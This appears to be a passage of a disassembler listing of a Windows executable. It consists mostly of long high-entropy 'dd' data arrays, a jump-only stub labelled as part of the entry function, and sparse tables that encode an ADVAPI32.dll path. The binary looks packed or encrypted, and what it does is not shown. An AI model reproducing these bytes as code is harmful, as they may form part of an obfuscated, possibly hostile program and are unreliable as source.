		dd 54286076h, 3330FBDFh, 0C400C575h, 74A91CA5h,	0E0840134h
		dd 7D90279h, 41EB997Dh,	0F8801879h, 53A9D6C4h, 0F9B702C7h
		dd 47526510h, 8F64CCDEh, 2D90E4h, 0C342401h, 9902871Ch
		dd 0EB5C3E02h, 61A9C74Eh, 8C70CA24h, 206A8A1Eh,	0C4001071h
		dd 0C8A70A8h, 0DB870007h, 147C78EBh, 3D22287Ah,	4020BE49h
		dd 1BE3136Fh, 0B1166A02h, 0E022F5D6h, 1AAF73Ch,	83C8C4A8h
		dd 6A82892Ch, 0A5782820h, 0ED20027h, 9A2124BFh,	949646D3h
		dd 76B15240h, 71920078h, 0D7DF8917h, 0D8536D8Eh, 9D5A00C4h
		dd 54C362C0h, 80A633h, 1B6F56ACh, 27692A11h, 3222AB00h
		dd 0C5EE47D4h, 0DC7A2737h, 44355C04h, 28BC3428h, 584A6B88h
		dd 0E868861Eh, 3AC99712h, 0E55B1CE0h, 0C653DC20h, 49456D1Eh
		dd 1440014Bh, 92329834h, 0ACA62Dh, 4C1D76E0h, 89BE0B06h
		dd 40129702h, 5E070114h, 67C38048h, 0BA3B4DB8h,	209DB5F0h
		dd 51A12D94h, 49CC1391h, 10A4C864h, 0DA5B1600h,	71540705h
		dd 7F50C583h, 98F8885Dh, 3E6DE50Ch, 0B5C95018h,	807634BAh
		dd 12F5A550h, 0A17390D4h, 5D56D4D0h, 3A803CB4h,	0A43B973Eh
		dd 0A92C010Bh, 0F7840938h, 0E8A4CB96h, 27E1C0C0h, 8FBD37h
		dd 83FEBF0Bh, 0D7C90D46h, 0DC190524h, 0F1D90107h, 0A89E7ED0h
		dd 3912004Bh, 867FA1DCh, 77274907h, 2D60E0D8h, 0D6AC132Bh
		dd 0B36CC228h, 4FA62E20h, 60E63E98h, 6023EF27h,	288A947h
		dd 0A003C5D4h, 78E504DEh, 3F104C57h, 2BF0C85Ah,	91956107h
		dd 64C0513Dh, 0F6C29B4h, 2C4C819h, 75E893D7h, 20870E04h
		dd 7CA2770Ch, 90F72300h, 0B67EACBCh, 0C493DD0Bh, 0C4D91Bh
		dd 0F6A73E5Bh, 261EF850h, 2102D618h, 5C712CAFh,	0F02547CCh
		dd 0B53D2B96h, 54661F00h, 0B3D2B931h, 7562D05h,	0BAD888A1h
		dd 8E5FDCA3h, 0F7F7A424h, 0C78BAA00h, 3343C10h,	2585E981h
		dd 0A0A0649Bh, 0B074BDABh, 26008B78h, 2E367478h, 6C9099Dh
		dd 0F392033Ch, 1A5821BAh, 743960CFh, 2840095Dh,	2CE45F60h
		dd 15639Eh, 13A22962h, 31009280h, 0EC2AAE65h, 3625876Bh
		dd 40D6C3A3h, 0C4158B1Ch, 5700BAD7h, 0AD5C2EBEh, 0DD9D3F4Ch
		dd 0B37B6F80h, 9E2558ECh, 985F853Dh, 4789ABBDh,	0B0CBF66Fh
		dd 0F0FD75DFh, 1FCE0067h, 6A10D659h, 1700584Fh,	1E8CE4D8h
		dd 0FE9031B7h, 0FBEC06D4h, 490C77C4h, 7EC88558h, 933D3006h
		dd 1819BDD8h, 0E9924DE5h, 3B000235h, 0E309F742h, 0A8B688h
		dd 324A9B24h, 35A4FB4Bh, 0F550A200h, 0B9A5C77h,	48D918D3h
		dd 0F00941A7h, 5F04B47Bh, 4AF6946Fh, 97DE27C0h,	0A080014h
		dd 0C56CFFBFh, 8CA8772Ch, 0B500BA99h, 0B6D0F47Ch, 1730A3Fh
		dd 7D8F5C5Dh, 0F8A6A9E2h, 4206B553h, 5E3D6731h,	0A9B0039h
		dd 4A5AECD8h, 340301CAh, 0E5A9C033h, 0BCC6A120h, 72642980h
		dd 59294BB5h, 4DE08803h, 0A9D35E07h, 2BFCA201h,	0A4B80EA3h
		dd 0AA40313Eh, 0B59571E5h, 20FD4470h, 0FB00FFCCh, 6EEC45D9h
		dd 32859A84h, 33F198EFh, 0BB1AF090h, 1666D400h,	0EDDAF812h
		dd 2DF98E0h, 0AECBEB4Ch, 0C4900477h, 38F03950h,	9911A566h
		dd 2B6B14B8h, 0DF01C7B0h, 6FF8F64Eh, 0C078470Ah, 29113165h
		dd 0C305B5FAh, 0D425EC47h, 2F80086h, 935B1DA2h,	8629ABDFh
		dd 0F608416h, 406883F9h, 0D4CDF2C0h, 0F30F2C0Dh, 4A92C58Ch
		dd 0A8181886h, 43E491h,	9897EAC8h, 4CAE9BFh, 0B64FAE03h
		dd 7AABCADh, 0FA36FF31h, 0E26CB0D7h, 533E15D4h,	23140007h
		dd 433AA18Bh, 0EB42006Dh, 2DF73325h, 477C8320h,	3E586500h
		dd 0EEDA33Bh, 0CC570585h, 3F664E4h, 0A7779384h,	48833D92h
		dd 88E492B0h, 2500A3CCh, 745E3ED2h, 695A2AFh, 932E8F6Ch
		dd 90031A7h, 0CB30F69Ch, 7A543E6Eh, 0B1BD30FDh,	0AC291E41h
		dd 8820D00h, 0C80B8930h, 42F305A8h, 4058046Fh, 62023EB8h
		dd 3B04A2ABh, 1A7B0865h, 0A0AAD482h, 19309834h,	7715009Dh
		dd 92B8FC45h, 20066A0Fh, 3A3194C8h, 0C0430C2Ch,	0CA595933h
		dd 3903EF0Fh, 0D02A0AC8h, 0E5AD00BEh, 3047C275h, 0CA9E2C5h
		dd 9D4D74F3h, 0F006C21h, 7B97FBD5h, 3351899h, 47F098E5h
		dd 0DDE3FA5Ch, 74C522C0h, 5F178E0Fh, 0E1900533h, 83B99C08h
		dd 3E043B05h, 0CE49928h
		dd 8DFBEF00h, 0A99F5477h, 795F24A7h, 398160B4h,	9A394D66h
		dd 918AB7FCh, 464CF8D0h, 0E0B3504Bh, 327715DBh,	0CA0B8CB4h
		dd 8585DC02h, 2FA82009h, 0AD0CAE31h, 0F9729244h, 4FF30041h
		dd 0DDF91486h, 0E8022427h, 92C11370h, 0ADF890F7h, 59DE4Dh
		dd 5E251B80h, 0AF290B5Ah, 6A80ACC5h, 3FEE0910h,	9F4D22E8h
		dd 80BFBC0Eh, 0CD29018Dh, 77E135B4h, 2EA75CE8h,	0C64B03h
		dd 42CF7330h, 45549008h, 0A3005490h, 0E294A59Ch, 90E3FBA0h
		dd 25AA4448h, 2B4AD71Ch, 0D3A3B700h, 9088ED91h,	46DB1EC8h
		dd 0A02CD463h, 10225A80h, 0C201A241h, 5D0B3CB8h, 0A180904Dh
		dd 504E0AF4h, 450087AEh, 58B07CC9h, 9B0418h, 0CD6CFEBEh
		dd 5A0C6FE9h, 603551CEh, 8ABC04B8h, 8057046Bh, 408948FFh
		dd 636CCB0Dh, 0ECBD48E7h, 66669Dh, 173B272Eh, 0D428C309h
		dd 0B828AF9Eh, 53025433h, 0E18F98C8h, 6F84884h,	0E46300BCh
		dd 0B61EF193h, 671F6B1Ah, 3C899BABh, 43E00045h,	5BBAA2Fh
		dd 0B2B3102h, 3DA00B4Ch, 40844409h, 65F480C9h, 1A18DAA3h
		dd 0BA98C4Dh, 0F076E6h,	4C3CE857h, 9521E4A4h, 91732C30h
		dd 3C2FD14Ah, 6E80E9B2h, 137728BDh, 1B60455Ch, 36B9ADA0h
		dd 44F309AAh, 0DC1B1E6Fh, 77475B80h, 3D83153h, 9F80D5D4h
		dd 0A2A00091h, 0ACE54DABh, 4103CB04h, 1B8EAA1Dh, 9EAFC0C5h
		dd 97E409E3h, 0E0004530h, 65106F23h, 7CE9CC89h,	1C436024h
		dd 0C001A915h, 831E80F9h, 89F00234h, 0BA849916h, 0C078EC54h
		dd 0EBC1B5C3h, 2E6600FCh, 0E2BA6F10h, 93007153h, 0ABCE220Fh
		dd 5F1BC9h, 0D5EA3696h,	0B98AE466h, 5D0AD48h, 61F7936Dh
		dd 2274EC54h, 0B1BA0098h, 0CAD3DBE4h, 0A30070F7h, 15388A3Eh
		dd 27E44D5h, 66C32350h,	0C4B02E62h, 1C0224A7h, 0D8DB15E9h
		dd 0FC462Ah, 6E65EF86h,	61C52B16h, 0A990E4A0h, 5A547400h
		dd 4D81F2B4h, 6B49C793h, 0E02AD0C2h, 8007167h, 0ABC92214h
		dd 1638D7h, 0D921CDC0h,	6CE49FEEh, 0BDB56016h, 0EB2A2420h
		dd 61820057h, 0C22B519Dh, 2F006BF1h, 6D132CD9h,	17E725EFh
		dd 309D5F73h, 3350D21Ch, 0DCA9DE00h, 30358778h,	8E2F1EC4h
		dd 2E388B73h, 0C104A48Bh, 2A08CC1Ah, 0CD00B1F6h, 5620300Eh
		dd 2E88F31h, 0BFAC0A6Bh, 1051A4B5h, 2C8E971Eh, 19B88199h
		dd 76203DB1h, 608A5CF3h, 280F7522h, 404A364Ch, 8091B665h
		dd 0F18D1E26h, 0A13A47FAh, 0A097304Bh, 702638A3h, 0CD8030B5h
		dd 85823225h, 0D438A0BCh, 612D07ADh, 0C055BD4Fh, 0C4CDA8A5h
		dd 0A4B29413h, 46AE6380h, 0A9C3048Ch, 8052458Dh, 59A274D0h
		dd 660058B0h, 673B2D8Bh, 3F3934A7h, 0A9E12C85h,	8EFB8FA5h
		dd 0A0908C12h, 0BA7DAE7h, 0BB79002Ah, 0B86BF243h, 0C4877ABh
		dd 0BC309270h, 0E6B176C4h, 0A6890059h, 1A5ED720h, 21C09E48h
		dd 0A2712AE3h, 0FB0302F4h, 0AD5ECF94h, 105900C1h, 162C7D0Ch
		dd 0A3064FEh, 0D02763h,	0D8013EC4h, 0D10B0A03h,	10F692C0h
		dd 175F844Ch, 223977C7h, 0D4E9AC94h, 43C44290h,	100CCCE3h
		dd 69683D4Eh, 0EFCC009Ch, 0A847A556h, 6F0025BDh, 0AC231776h
		dd 8352E1h, 0F33D14FAh,	0CF7CCA7Dh, 0E020DC09h,	780C812Ch
		dd 37E0E56Eh, 0B063E01Fh, 0C5DA02C8h, 0BDEA44ABh, 12BA98E1h
		dd 0E5D4C01Ah, 1E243F4Ch, 4A198731h, 0D0F3D4C2h, 1F3C7B1Eh
		dd 6CBB3981h, 0CAC86F03h, 7F981430h, 0D32480BCh, 6513ECh
		dd 0BB06A00h, 0BD50FAD0h, 7CA133C4h, 7C44DA98h,	0A38A0300h
		dd 5A651918h, 67881ED1h, 2432CFAEh, 145AF24h, 98EBC934h
		dd 3DF81C35h, 0A641C06Ah, 2D389B8Eh, 791EBD00h,	6C565D2Eh
		dd 405305AFh, 0C03B090Fh, 0BF73A7B8h, 0B774E0C0h, 0EF608Fh
		dd 3BE29D5Dh, 0B214B497h, 5F3D9618h, 1A6E159h, 0F68D8C0h
		dd 0F144A46Eh, 32707234h, 513398C3h, 76119Ch, 0B5D2E025h
		dd 0DA7112h, 6074F0C9h,	0CE5C6C3Eh, 0A944C890h,	0C367288Dh
		dd 0C06F078Ah, 0A04314A3h, 0F9521CF3h, 0D4314805h, 0AC402F87h
		dd 3CAE947h, 0CB7612D1h, 0EF10232Ch, 0A69A2990h, 531F9500h
		dd 0D29BFCAAh, 483F3B0Fh, 80CDD503h, 0E8123E43h, 58172D50h
		dd 0A6CBF420h, 3C627B22h, 27F7CA5h, 0D08D160Ch,	3472FE85h
		dd 0AE806499h, 9A8D88BCh, 12F6023Ch, 0AD334E77h, 0BA847051h
		dd 0F420F292h, 72640B6Fh, 18814441h, 4C38F092h,	4D808CC8h
		dd 0AF9C9F91h, 9F21C51h, 0F49279h, 0CA450FA4h, 1B179B1Eh
		dd 0BC0CC7ACh, 73E71ADh, 8F22BCF9h, 0B0058012h,	1B132CAEh
		dd 0CC30FB55h, 622563h,	0EA81E1D1h, 0E9B17F67h,	0EFB5570Eh
		dd 4892E995h, 9B70884h,	0D58CF899h, 6367C800h, 0CB62962Bh
		dd 724D7824h, 7DE7F6A4h, 0D93A00A9h, 0EF736A11h, 2901553Bh
		dd 141BC425h, 40329203h, 6F89DB38h, 2D003550h, 0ABE201C9h
		dd 30B0F0A4h, 6DE5C600h, 0EAF99724h, 93D090ACh,	0E4CC0020h
		dd 0E566B844h, 28009AFCh, 0BBD08ABh, 13CA0FD4h,	3369CCDh
		dd 7093B568h, 0E0547900h, 373DED29h, 0F7E2F9h, 0BBC55138h
		dd 0F285A61Fh, 0A9D19664h, 248044C4h, 3EC0FCE3h, 2728C71Eh
		dd 5CFF010h, 83E6201Bh,	0CEC88030h, 32770F67h, 5C25EC27h
		dd 6FE02C6Bh, 38349160h, 4113F3D9h, 0F00754BFh,	4085AED1h
		dd 31CC28C1h, 41F082DEh, 93EC87FEh, 0C2B9CCh, 53A956E8h
		dd 69E9FABh, 5B112F05h,	0D8C7AA93h, 0C1162990h,	98040026h
		dd 0B5E58DEh, 0CAE6B56Ch, 616F803Eh, 9AE58B89h,	7C25F720h
		dd 701D35D1h, 0DC84D819h, 5621342Eh, 0BCB2BD0Ah, 232A6D8Eh
		dd 0FB47F557h, 0DC708056h, 20834B59h, 0E13CDA20h, 68CA7200h
		dd 9B4E62EFh, 63990B54h, 0F081D9B7h, 281017D3h,	3F8780F0h
		dd 0B863D869h, 6F2F0908h, 8C33C2E8h, 1E4C07B5h,	7F3310DCh
		dd 5096CB1Fh, 947C068Ah, 444894h, 8921680Eh, 50A3D9F8h
		dd 1270E8BAh, 2C61DBFh,	3177E634h, 0C0007444h, 633DC40Bh
		dd 92EB45E3h, 346A4C70h, 11C8132Eh, 941D039Eh, 0F8ED3554h
		dd 62AAAC43h, 2BD388AEh, 0E096CC78h, 94F22F01h,	3980914Eh
		dd 0C365B0DFh, 5E48A453h, 1ABF005Ah, 852B0A6Ah,	261491FBh
		dd 0E2A3C444h, 4C007B14h, 639A6BA9h, 705DD13Ah,	8AF50B60h
		dd 8498E5E8h, 0F400FB76h, 48DEE7BFh, 169DC6E3h,	0EBB5A82h
		dd 0BD486718h, 0A3C26480h, 383011F2h, 8700D958h, 0C604679Bh
		dd 38B8D76Dh, 42B64B00h, 0FA01DCB1h, 0F7662EF1h, 169C2124h
		dd 9C2400B0h, 0E92D7899h, 42205A16h, 681010h, 7B740F01h
		dd 148C99Fh, 5CD41EB8h,	0E84705DAh, 14B8E755h, 0BC800312h
		dd 324B3420h, 79DA0089h, 0FCD8A9EBh, 464C61B7h,	651311A0h
		dd 3F304D01h, 1184F093h, 9980AE92h, 0D37A5033h,	97FEC424h
		dd 0F2CE5D00h, 3EF798B2h, 0BDA6CA55h, 0C0391D1Ch, 666E198Ch
		dd 0C61DA9ACh, 7709AE9Ch, 41D8C2EEh, 0E8425028h, 209E20A7h
		dd 34399746h, 7C581B8h,	600832FAh, 0CAABECh, 200EFE15h
		dd 0EF859BE2h, 0A9398F60h, 2870CDA6h, 645F2Ch, 3481DC9h
		dd 54053FDFh, 62C6F502h, 0E4783877h, 553C80D8h,	40FF002Fh
		dd 3527A8BBh, 47165FB2h, 6060F3E0h, 3F923A25h, 3E389CE3h
		dd 0E5141D00h, 38CC4370h, 2CAD605h, 0F4CCB53Dh,	62F20090h
		dd 0CF605EB7h, 0F901B63Bh, 68F7AD02h, 0A4D8CBFBh, 4C76A0h
		dd 0EE95543Eh, 57A26AE5h, 20E4C507h, 93C3BA2Bh,	0C2EBEA0Ch
		dd 0D2E8A150h, 40303DE2h, 6B02845Eh, 0C81C7977h, 345A48h
		dd 0CDE88E92h, 0EC7CE0C7h
		dd 0C5A42C00h, 7648A834h, 14550158h, 0F35C2B82h, 0C3B87072h
		dd 0BAEFF4A1h, 616BB041h, 72468A9h, 0D403F187h,	329AD35Eh
		dd 8E2BDCF0h, 7C12F301h, 0A345A436h, 4992A8BFh,	8F240828h
		dd 74DBB8B0h, 549D0294h, 2CB87BF3h, 0CE76DCC4h,	4410500Eh
		dd 0A222221Fh, 0DD50C062h, 25EB88B2h, 80F12A0Eh, 8435321h
		dd 0E0B6F7D2h, 0C0FAC3Eh, 0A8BCAD7Eh, 85B00A31h, 0B6BE9500h
		dd 68761D71h, 60AC0151h, 5C5908F0h, 777C8BBh, 670B649h
		dd 0BEBDCAFBh, 0EB9C0041h, 6329765Ch, 1A009F37h, 0D7FF654Ah
		dd 5C9656AAh, 0E43ED393h, 0D3086F13h, 4DD1F338h, 0FDA050A5h
		dd 0C05E1BEh, 0D1A8522Eh, 8A2175C0h, 0F4200561h, 94456796h
		dd 7031C06Ch, 0B891C203h, 86532E80h, 17D094C9h,	87CB2C7h
		dd 82808DF0h, 11EF8C06h, 77380388h, 2DB5605Ch, 1A3B5002h
		dd 52156F7Ch, 3FB8B964h, 0BBE56880h, 69E122B7h,	0C98DDE00h
		dd 0DAFBE621h, 29396577h, 0B4E40285h, 98488392h, 0CD0002F7h
		dd 3AC027A4h, 0A060DAh,	0E2CC22C7h, 0DF062B6Ch,	0AF544400h
		dd 6FC1CB59h, 290B109h,	2C9DF445h, 0E40B2844h, 5AE0F9h
		dd 61123664h, 1329002Bh, 109F65DCh, 9401962Eh, 5820A793h
		dd 0CAC91BF0h, 3A6C8C30h, 910041A1h, 0F1EC18BDh, 0BC5231FEh
		dd 4910078Ch, 74E08C77h, 5C6CF224h, 440C00BEh, 1B91944Dh
		dd 16B5D000h, 4B3FB4DCh, 38D50011h, 33530A17h, 0E0B12CE8h
		dd 60236C0Fh, 73134A77h, 80AF0037h, 1A448DDDh, 0BCA0F357h
		dd 898B52Fh, 45C50617h,	809D6808h, 2192E4ABh, 0CF130CAAh
		dd 7C13B53Eh, 38092C30h, 704E01F4h, 0FCD7509Eh,	0E6942041h
		dd 0D606DC01h, 0B523F34Fh, 637C9830h, 3CC009C2h, 92346811h
		dd 14C244Fh, 8A1475CDh,	2CA4D855h, 0E317A4B0h, 7C209244h
		dd 381D8Fh, 99991A1h, 0F141B1D4h, 0D1737C33h, 0AC089446h
		dd 15903100h, 9A4B2AEh,	0C6428BCCh, 0BBBDC18h, 3C38527Ah
		dd 3778732h, 0ABA4BF01h, 0C0E0E0C7h, 1CDC76Fh, 0A9C69D7Dh
		dd 0BCE7B28Dh, 11BAA5C8h, 0C4D42FFCh, 0CB460040h, 5EE00DABh
		dd 0E4486251h, 1BCD00C4h, 0C953B261h, 80CC9493h, 3652095Fh
		dd 3E0E2EF8h, 4E725AEh,	6CC0E227h, 0F844630Bh, 936A0031h
		dd 4C78A0Fh, 2F6041A5h,	0DF506B10h, 923B073Eh, 94ECC3A1h
		dd 28768231h, 7B094852h, 13B30C7h, 166F4144h, 91DF422h
		dd 440BB953h, 0B487259Fh, 1635401Ah, 0A602B41Bh, 933473E4h
		dd 0D806CDFh, 4E6E992Ch, 0DCA2F0C1h, 35A3558h, 0C8203A52h
		dd 0C428E2B4h, 402C4B4Ch, 0BB01EFFCh, 0AD0B9A3Bh, 548AC687h
		dd 7B760976h, 1CA5D406h, 0E929F0E8h, 1480D0EBh,	0B7D483FFh
		dd 3B27EF8h, 92C35552h,	9900BBDEh, 0B404CB41h, 508F1D39h
		dd 5DD6ACE7h, 33809435h, 1048C3C5h, 0E10F8C04h,	94C8BC77h
		dd 44BB03F3h, 71EBF1C8h, 3EE08DA8h, 0C5086500h,	0DB92EFCBh
		dd 0AC4E50DDh, 0D50B8897h, 2A5978C5h, 310010F2h, 6C8415ACh
		dd 4CB84754h, 35F0422h,	333D5544h, 468FC5ECh, 8000195Ch
		dd 0FCBF7735h, 74F6024Ch, 634504E4h, 9079932Bh,	0AF676B78h
		dd 0FCFFD03Fh, 0CDBBBF00h, 0D640A0DBh, 0CC1B018Fh, 0C2FBB5F9h
		dd 3BE870ABh, 763D22h, 0DF104556h, 0F9C46678h, 7CDAE60Eh
		dd 0C66FE06Ah, 0EEBE04h, 1A2DB6F2h, 3D77D863h, 0C02828B1h
		dd 2C88454Ah, 4BD509B4h, 588051CDh, 3722F85Ah, 0C3FBE70Ah
		dd 0CC13BC47h, 339D2C03h, 62813E5Dh, 2665A181h,	0EBA3BD46h
		dd 728008BDh, 0F1EAF280h, 31293h, 0C2A5DFEBh, 1B4261B5h
		dd 0A01E6F25h, 95314408h, 934518C0h, 0C127917Bh, 0F1DFF501h
		dd 9844F7EEh, 809059F6h, 7A6BBFA6h, 8A00D661h, 60FB17B3h
		dd 2AC23CBh, 72A171E5h,	0EC78AFE8h, 3D182218h, 92B6D08h
		dd 486412B0h, 934F8080h, 2894BFD9h, 0D617598h, 7AA800B7h
		dd 0D739C060h, 2F02AA3Ch, 206B8EE3h, 6940F7F2h,	0F3F873C2h
		dd 92B54106h, 7D49B8E5h, 9C635CF5h, 77360C05h, 5A00A20Eh
		dd 47353820h, 729500F8h, 0AA71889Dh, 84025C16h,	4EF670E6h
		dd 0F4711Fh, 0BEDCE1B4h, 0C90016FBh, 0C132269Bh, 48FE2057h
		dd 0B6C02843h, 3DB3F0AAh, 0CD903170h, 0C0B05403h, 0A8C86DA7h
		dd 5CAF775Eh, 5C7A6040h, 9E04AC43h, 52972D85h, 3BFB9C81h
		dd 9DC25C68h, 287AD992h, 7440EC96h, 0E546F98h, 3465629Dh
		dd 0C832CA6Fh, 0F13CEDE0h, 74BE026Fh, 97CCA30Ah, 0DBFFFF01h
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4F750E:				; CODE XREF: start:loc_48F265j
					; DATA XREF: start:loc_48F086o
		jmp	loc_4FAAC7
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0E6h
		dd 9B0Fh, 0
		dd 44000000h, 77E7A1h, 37000000h, 5390h, 2 dup(0)
		dd 0F9000000h, 71h, 2 dup(0)
		dd 6C000000h, 0FFFF9Ch,	4000000h, 0B97FFE03h, 7B51DEh
		dd 33000000h, 881889h, 0
		dd 1000000h, 0
		dd 3F000000h, 624336h, 0B0000000h, 22CFFh, 1B000000h, 5223h
		dd 9 dup(0)
		dd 36000000h, 0FF363636h, 3B9E5Dh, 3 dup(0)
		dd 0FC000000h, 8001FCh,	3B000000h, 9C3Eh, 25000000h, 0FFFFAAh
		dd 4 dup(0)
		dd 63000000h, 129Eh, 6 dup(0)
		dd 0C000000h, 2023D00h,	6 dup(0)
		dd 4000000h, 0B17FFE03h, 0A786E0h, 0Eh dup(0)
		dd 34000000h, 9EB1h, 2 dup(0)
		dd 84000000h, 0EC58E0h,	2 dup(0)
		dd 5B000000h, 0B8000073h, 0F58FA8h, 3 dup(0)
		dd 0DD000000h, 9C69h, 4	dup(0)
		dd 0EB000000h, 10h, 4 dup(0)
		dd 0B000000h, 277F518h,	74000000h, 865559h, 3 dup(0)
		dd 0EB000000h, 10h, 4 dup(0)
		dd 69000000h, 52B0h, 2 dup(0)
		dd 0CD000000h, 535Dh, 3777F500h, 77E7A8h, 3 dup(0)
		dd 9A000000h, 1009B0Ah,	0
		dd 86000000h, 0E1DE5h, 2 dup(0)
		dd 0FF000000h, 0FFFFFFh, 4 dup(0)
		dd 1000000h, 37000000h,	5390h, 0
		dd 0A5000000h, 543Fh, 3	dup(0)
		dd 11000000h, 0B0111111h, 0C8h,	0Bh dup(0)
		dd 0F000000h, 9CA0h, 7Dh, 4 dup(0)
		dd 0F0000000h, 5369h, 0Fh dup(0)
		dd 0A6000000h, 579Eh, 0Dh dup(0)
		dd 28000000h, 2	dup(0)
		dd 0B000000h, 766F2Ch, 8 dup(0)
		dd 4000000h, 3 dup(0)
		dd 0AC000000h, 5 dup(0)
		dd 18000000h, 7A77E806h, 0F1E21Ah, 0
		dd 0E1000000h, 0E55EFFh, 0Eh dup(0)
		dd 0DD000000h, 901A68h,	3 dup(0)
		dd 16000000h, 0FB005306h, 54FFh, 0
		dd 50000000h, 0F63E11h,	1000000h, 1A000000h, 0F2CDB8h
		dd 0
		dd 0D8000000h, 83009E7Fh, 8980013Dh, 0E47615h, 0E5000000h
		dd 41534h, 2 dup(0)
		dd 63000000h, 56C7h, 2 dup(0)
		dd 0DD000000h, 9C69h, 3	dup(0)
		dd 5D000000h, 531Bh, 0
		dd 76B400h, 5 dup(0)
		dd 370h, 0
		dd 55000000h, 0EC813h, 2 dup(0)
		dd 2F000000h, 0CB7FFE55h, 0DF004FA3h, 30h, 3 dup(0)
		dd 44000000h, 0D9C246DAh, 5BD3BDh, 0
		dd 0D4000000h, 89641Fh,	0
		dd 91000000h, 0E800006Ah, 10h, 0
		dd 4000000h, 0E77FFE03h, 0A0A5h, 0Ah dup(0)
		dd 74000000h, 0CC9C49h,	2 dup(0)
		dd 1A000000h, 0F2CDB8h,	0
		dd 54000000h, 9BD5h, 0
		dd 9C2EF9h, 0Fh	dup(0)
		dd 94000000h, 0DD000000h, 9C22h, 6 dup(0)
		dd 0A0000000h, 3, 2 dup(0)
		dd 0D3000000h, 0FFFFFCh, 91000000h, 6Ah, 3 dup(0)
		dd 5C000000h, 47B46h, 4	dup(0)
		dd 0D7000000h, 8EC4FAh,	0EF000000h, 77E793h, 6A000000h
		dd 77D4C9h, 5 dup(0)
		dd 0FF000000h, 7400001Fh, 0FFA9ACh, 6 dup(0)
		dd 78000000h, 49000000h, 5390h,	0
		dd 64000000h, 0F70055E1h, 9C09h, 0
		dd 61000000h, 57B5h, 3 dup(0)
		dd 77F500h, 0
		dd 0A3000000h, 0FFACE4h, 7 dup(0)
		dd 4000000h, 7FFE03h, 44000000h, 0A2C246DAh, 0FFA7F1h
		dd 0D7000000h, 8EC4FAh,	2 dup(0)
		dd 0F8000000h, 4F9Dh, 5	dup(0)
		dd 80000000h, 0DD781982h, 9C69h, 5 dup(0)
		dd 0DD000000h, 9C69h, 6B000000h, 0F88D5Eh, 37000000h, 2B009C9Ch
		dd 5FD369h, 94000000h, 0F2798Ch, 7 dup(0)
		dd 0D5000000h, 0FFFF96h, 8 dup(0)
		dd 0C5000000h, 0D8F92908h, 0D5000003h, 5338h, 15000000h
		dd 5786h, 0FD000000h, 5672h, 0
		dd 91000000h, 52B0h, 4 dup(0)
		dd 65000000h, 7A0000F0h, 531Dh,	4A000000h, 1423h, 0B5000000h
		dd 77E75Ch, 0C2000000h,	54B2h, 4 dup(0)
		dd 7D000000h, 0DAF6A3h,	2 dup(0)
		dd 0EA000000h, 0F07762h, 3 dup(0)
		dd 12000000h, 0FD4255h,	68000000h, 7477E821h, 0FFAC12h
		dd 0E9000000h, 20Eh, 4 dup(0)
		dd 0D9000000h, 67F0D3h,	0
		dd 75000000h, 54B1h, 23000000h,	0AC005300h, 9E9Bh, 0
		dd 0B0000000h, 22CFFh, 0
		dd 0F0000000h, 12FFh, 0F0000000h, 12FEh, 6 dup(0)
		dd 0C4000000h, 12FFh, 2	dup(0)
		dd 0C4000000h, 5651h, 2	dup(0)
		dd 17000000h, 0Fh, 0BF000000h, 538Eh, 0
		dd 0A0000000h, 0FFFF1Dh, 4 dup(0)
		dd 0C1000000h, 7904A9h,	1Bh dup(0)
		dd 7F000000h, 3, 2 dup(0)
		dd 4000000h, 3,	2 dup(0)
		dd 77000000h, 0C12CBBh,	1E000000h, 54C1h, 2 dup(0)
		dd 0A1000000h, 0FFEEF4h, 0DD000000h, 9C69h, 3 dup(0)
		dd 0F8000000h, 697608h,	6 dup(0)
		dd 0C0000000h, 1A0054CCh, 0F2CDB8h, 37000000h, 0F7FDDEh
		dd 0
		dd 60000000h, 8D009D15h, 0F75F8Dh, 5 dup(0)
		dd 0B2000000h, 1FFFFh, 0
		dd 25600h, 3 dup(0)
		dd 4C000000h, 56EFh, 0
		dd 96000000h, 0D00556Ch, 0DC8006h, 5 dup(0)
		dd 91000000h, 6Ah, 0
		dd 54000000h, 0F80012FFh, 0FFABCBh, 5 dup(0)
		dd 9A000000h, 77DD18h, 0
		dd 0E9000000h, 20Eh, 2 dup(0)
		dd 5E025500h, 580Eh, 4 dup(0)
		dd 32000000h, 4FB0h, 0FC000000h, 8001FCh, 0Dh dup(0)
		dd 0E0000000h, 12FFh, 0
		dd 0B8000000h, 0
		dd 0D9000000h, 0FFFFBDh, 3100h,	0
		dd 0DD000000h, 9C69h, 12h dup(0)
		dd 2000000h, 0
		dd 4000000h, 7FFE03h, 70000000h, 0DB000000h, 531Bh, 2 dup(0)
		dd 75000000h, 0E1965Ch,	9 dup(0)
		dd 5D000000h, 531Bh, 6 dup(0)
		dd 86000000h, 0FFA996h,	3E000000h, 0FD659D95h, 77E7A5h
		dd 0
		dd 57000000h, 0CC9CE9h,	3 dup(0)
		dd 0C0000000h, 6A0001AAh, 77D4C9h, 0
		dd 8C000000h, 0F9000000h, 5671h, 0
		dd 0C4000000h, 2 dup(0)
		dd 48000000h, 2881Ah, 4	dup(0)
		dd 24000000h, 4F7Ch, 6 dup(0)
		dd 4000000h, 7FFE03h, 9	dup(0)
		dd 84000000h, 4	dup(0)
		dd 0B6000000h, 579Fh, 3	dup(0)
		dd 2E000000h, 9C5Eh, 0
		dd 78000000h, 0B7h, 22000000h, 22222222h, 95222222h, 0B45024h
		dd 6 dup(0)
		dd 8B000000h, 54B0h, 8 dup(0)
		dd 0D4000000h, 5522h, 21h dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0CD000000h, 527Bh, 5000000h,	11000000h, 14DF13h, 4 dup(0)
		dd 0FF000000h, 77E7AEh,	3 dup(0)
		dd 0A7000000h, 550Ah, 0
		dd 5D000000h, 531Bh, 6E000000h,	823282h, 7 dup(0)
		dd 0DF000000h, 0A9C530h, 0CB000000h, 5652h, 0
		dd 66000000h, 0F000549Eh, 0E90237B8h, 0Eh, 0Ch dup(0)
		dd 70000000h, 0FFFF9Ch,	750048D0h, 0BA4DE3h, 0
		dd 94000000h, 2	dup(0)
		dd 41000000h, 5514h, 43000000h,	49575C3Ah, 574F444Eh, 79535C53h
		dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h
		dd 3Dh dup(0)
		dd 0E4000000h, 54F3h, 0
		dd 0DE000000h, 2866EBh,	2 dup(0)
		dd 28800h, 2C000000h, 0F7FFFE77h, 0E8004F9Dh, 52ADh, 0
		dd 64000000h, 541Fh, 4 dup(0)
